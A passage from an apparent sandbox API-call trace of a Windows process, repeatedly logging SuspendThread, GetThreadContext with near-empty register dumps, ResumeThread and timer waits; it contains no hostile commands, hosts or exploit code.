[117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1 [0178.210] ResumeThread (hThread=0x170) returned 0x1 [0178.210] CloseHandle (hObject=0x170) returned 1 [0178.210] SetWaitableTimer (hTimer=0xf8, lpDueTime=0xd3fd48, lPeriod=0, pfnCompletionRoutine=0x0, lpArgToCompletionRoutine=0x0, fResume=0) returned 1 [0178.210] NtWaitForSingleObject (Object=0xf8, Alertable=0, Time=0x0) returned 0x0 [0178.210] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0xe4, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0xd3f7f8, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0xd3f7f8*=0x170) returned 1 [0178.211] SuspendThread (hThread=0x170) returned 0x0 [0178.211] GetThreadContext (in: hThread=0x170, lpContext=0xd3f810 | out: lpContext=0xd3f810*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10200, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc0006b9e00, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0xe947a0, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1 [0178.479] ResumeThread (hThread=0x170) returned 0x1 [0178.479] CloseHandle (hObject=0x170) returned 1 [0178.479] SetWaitableTimer (hTimer=0xf8, lpDueTime=0xd3fd48, lPeriod=0, pfnCompletionRoutine=0x0, lpArgToCompletionRoutine=0x0, fResume=0) returned 1 [0178.479] NtWaitForSingleObject (Object=0xf8, Alertable=0, Time=0x0) returned 0x0 [0178.479] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0xe4, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0xd3f7f8, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0xd3f7f8*=0x170) returned 1 [0178.479] SuspendThread (hThread=0x170) returned 0x0 [0178.479] GetThreadContext (in: hThread=0x170, lpContext=0xd3f810 | out: lpContext=0xd3f810*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10200, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc0006b9e00, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0xe947a0, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1 [0178.561] ResumeThread (hThread=0x170) returned 0x1 [0178.562] CloseHandle (hObject=0x170) returned 1 [0178.562] SetWaitableTimer (hTimer=0xf8, lpDueTime=0xd3fd48, lPeriod=0, pfnCompletionRoutine=0x0, lpArgToCompletionRoutine=0x0, fResume=0) returned 1 [0178.562] NtWaitForSingleObject (Object=0xf8, Alertable=0, Time=0x0) returned 0x0 [0178.562] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0xe4, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0xd3f7f8, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0xd3f7f8*=0x170) returned 1 [0178.562] SuspendThread (hThread=0x170) returned 0x0 [0178.562] GetThreadContext (in: hThread=0x170, lpContext=0xd3f810 | out: lpContext=0xd3f810*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10200, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc0006b9e00, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0xe947a0, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1 [0178.566] ResumeThread (hThread=0x170) returned 0x1 [0178.566] CloseHandle (hObject=0x170) returned 1 [0178.566] SetWaitableTimer (hTimer=0xf8, lpDueTime=0xd3fd48, lPeriod=0, pfnCompletionRoutine=0x0, lpArgToCompletionRoutine=0x0, fResume=0) returned 1 [0178.566] NtWaitForSingleObject (Object=0xf8, Alertable=0, Time=0x0) returned 0x0 [0178.566] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0xe4, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0xd3f7f8, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0xd3f7f8*=0x170) returned 1 [0178.567] SuspendThread (hThread=0x170) returned 0x0 [0178.567] GetThreadContext (in: hThread=0x170, lpContext=0xd3f810 | out: lpContext=0xd3f810*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10200, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc0006b9e00, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0xe947a0, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1 [0178.570] ResumeThread (hThread=0x170) returned 0x1 [0178.570] CloseHandle (hObject=0x170) returned 1 [0178.570] SetWaitableTimer (hTimer=0xf8, lpDueTime=0xd3fd48, lPeriod=0, pfnCompletionRoutine=0x0, lpArgToCompletionRoutine=0x0, fResume=0) returned 1 [0178.573] NtWaitForSingleObject (Object=0xf8, Alertable=0, Time=0x0) returned 0x0 [0178.573] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0xe4, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0xd3f7f8, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0xd3f7f8*=0x170) returned 1 [0178.573] SuspendThread (hThread=0x170) returned 0x0 [0178.573] GetThreadContext (in: hThread=0x170, lpContext=0xd3f810 | out: lpContext=0xd3f810*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10200, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc0006b9e00, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0xe947a0, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, 